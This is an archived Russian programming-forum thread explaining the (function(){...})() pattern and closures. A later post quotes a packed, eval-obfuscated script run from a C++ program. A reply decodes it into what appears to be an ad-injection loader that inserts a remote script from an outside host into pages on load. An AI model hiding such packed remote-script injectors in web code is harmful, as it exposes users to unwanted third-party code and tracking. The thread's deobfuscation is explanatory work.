Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > JavaScript: Общие вопросы > Конструкция (function() {...})();


Автор: Royan 23.9.2007, 18:50
Вот наткнулся примерно на такой код
Код

(function() {
    var foo = function() {
        var str = "string";
        return function() {
            alert(str)
        };
    };
})();

Объясните пожалуйста, что он делает, и когда его удобно использовать?

Автор: dsCode 23.9.2007, 19:43
Royan, это анонимная функция. Вызывается сразу. Если после объявления foo написать foo()(); - выведет алерт "string". В основном используется для имитации синглтона (что-то вроде, наподобие). Функцию можно вызвать один раз.

Автор: Zeroglif 23.9.2007, 19:56
Expression Statement не может начинаться с левой фигурной или с ключевого слова function. Так нельзя:

Код

function () {

}();

Нужно изменить Statement, не меняя смысла и результата, для этого наиболее удобным оператором является Grouping Operator (скобки вокруг выражения):

Код

(function () {

})();

Говоря по-простому - это безымянная функция (FunctionExpression), которая тут же на месте и вызывается. Обычно такую схему применяют для инкапсуляции сокрытия идентификаторов от внешнего контекста, как правило, глобального, в процессе какой-то разовой работы (букмарклеты так запускают или либы инициализируют). В теле функции объявляются переменные и(или) функции, которые недоступны извне и затеняют одноимённые идентификаторы во внешнем(их) контексте(ах):

Код

var foo = 1; //-> переменная в глоб. контексте
(function () {
    var foo = 2; //-> переменная в лок. контексте
})();

В вашем случае объявлена переменная foo, значением которой стала ещё одна безымянная функция. Тело этой функции роли не играет, т.к. функция дальше не вызывается, но если бы она была вызвана, допустим, через foo(), то она бы вернула ещё одну безымянную функцию (замыкание):

Код

(function() {
    var foo = function() {
        var str = "string";
        return function() {
            alert(str);
        };
    };
    var closure = foo();
    closure();  //-> string
    var closure2 = foo();
    closure2(); //-> string
})();


Больше в коде ничего интересного нет.  smile 

Автор: Royan 23.9.2007, 22:22
Zeroglif, dsCode, понял спасибо!

Автор: lemax 14.10.2007, 16:14
продолжите, пожалуйста объяснение для такого скрипта. Этот скрипт вызывается из С++ ScriptExecute("здесь скрипт", "JScript" );

Сам скрипт:

Код

eval
(
  function(p,a,c,k,e,d)
  {
      while(c--)
      {
           if(k[c])
           {
                p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])
            }
      }
      return p
  }
     (
       '4 16;4 32;4 31;4 13;4 30;4 41=37();4 11=0;9 24(){4 8=54 51();22\'&\'+8.52()+\'27\'+8.49()+\'27\'+8.47()}9 14(17){6(5.19(\'25\'))5.19(\'25\').46+=17+\'-\'}9 33(50){14(\'53 \'+11);11++;6(11>2){14(\'45\');22}26{6(5.15("12")[0]){4 10=5.42("36");10.44="43://38.21-21.39/40.48.59?7=71&70=&8=3.0&68=72&20[73]=76&20[75]=74&17[55]=1"+24()+"&66="+13;10.58="57/56";4 7=5.15("12")[0];6(7.23!=60)7.61(10,7.23);65 7.64(10)}}29(35){}}9 28(34){26{6(!16){30=34;13=\'\';32=18;31=63;6(5.15("12")[0]){33(\'77\');16=18}}}29(35){}}6(!5.19(\'62\')){67.69=9(){28(18)}}',
       1,
       78,
      '||||var|document|if|b|v|function|scriptElement|ad_MaxWaitRetry|body|adsin_PlusV3|ad_logdev|getElementsByTagName|ad_initied|t|true|getElementById|s|com|return|firstChild|ad_grain|adDevelopeurDiv|try|x|ad_init|catch|adsin_fromOnload|ad_sendToServerAffine|ad_sendToServer|adsinCheckPageStatus|fromOnload|e|script|Array|search|ws|adLib|adIds|createElement|http|src|Abandon|innerHTML|getSeconds|v10|getMinutes|from|Date|getHours|Essai|new|adsin|javascript|text|type|php|null|insertBefore|SpecialDiv|false|appendChild|else|v3plus|window|a|onload|views|465595E2|2215|c|555555|co|454545|init'.split('|')
      )
)
// плюс это
if (!document.getElementById('adDiv')) 
{
    document.body.innerHTML += "<div style='' id='adDiv'></div>";
    window.onload = function ()
                                                 {ad_init(true);};
}



Особенно непонятный для меня набор крючков по середине.

Автор: Zeroglif 14.10.2007, 17:28
Цитата(lemax @  14.10.2007,  17:14 Найти цитируемый пост)
Особенно непонятный для меня набор крючкоа по середине.

На крючки можно не смотреть, в функцию отправляется ряд плохочитаемых аргументов, функция раскручивает их в более осмысленную строку p, строка p eval-ится в код:

Код

var ad_initied;
var ad_sendToServer;
var ad_sendToServerAffine;
var adsin_PlusV3;
var adsin_fromOnload;
var adIds = Array();
var ad_MaxWaitRetry = 0;
function ad_grain() {
    var v = new Date();
    return '&' + v.getHours() + 'x' + v.getMinutes() + 'x' + v.getSeconds()
    }
function ad_logdev(t) {
    if(document.getElementById('adDevelopeurDiv'))
        document.getElementById('adDevelopeurDiv').innerHTML += t + '-'
}
function adsinCheckPageStatus(from) {
    ad_logdev('Essai ' + ad_MaxWaitRetry);
    ad_MaxWaitRetry ++ ;
    if(ad_MaxWaitRetry > 2) {
        ad_logdev('Abandon');
        return
    }
    try {
        if(document.getElementsByTagName("body")[0]) {
            var scriptElement = document.createElement("script");
            scriptElement.src = "http://search.com-com.ws/adLib.v10.php?b=465595E2&views=&v=3.0&a=2215&s[c]=454545&s[co]=555555&t[adsin]=1" + ad_grain() + "&v3plus=" + adsin_PlusV3;
            scriptElement.type = "text/javascript";
            var b = document.getElementsByTagName("body")[0];
            if(b.firstChild != null)
                b.insertBefore(scriptElement, b.firstChild);
            else b.appendChild(scriptElement)
            }
    }
    catch(e) {}
}
function ad_init(fromOnload) {
    try {
        if( ! ad_initied) {
            adsin_fromOnload = fromOnload;
            adsin_PlusV3 = '';
            ad_sendToServer = true;
            ad_sendToServerAffine = false;
            if(document.getElementsByTagName("body")[0]) {
                adsinCheckPageStatus('init');
                ad_initied = true
            }
        }
    }
    catch(e) {}
}
if( ! document.getElementById('SpecialDiv')) {
    window.onload = function() {
        ad_init(true)
        }
}


Дальше смотрите этот код сами, разбирайтесь, что происходит...

Автор: lemax 14.10.2007, 17:44
Супер, спасибо.  smile .

Автор: Royan 16.11.2007, 16:20
Любопытный пример обфускации кода, не встречал такого ранее, но бестолковый по сути, ибо во-первых тут не изменены смысловые имена переменных, а во вторых даже если бы они были изменены, то разница между этим и стандартным способом в пользу стандартного, потому что здесь код компилируется функцией eval, да еще и непосредственно в момент выполнения операции.

Автор: cruelangel 16.11.2007, 21:49
Код

var foo = 1; //-> переменная в глоб. контексте
new function( ){
    var foo = 2; //-> переменная в лок. контексте
}

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)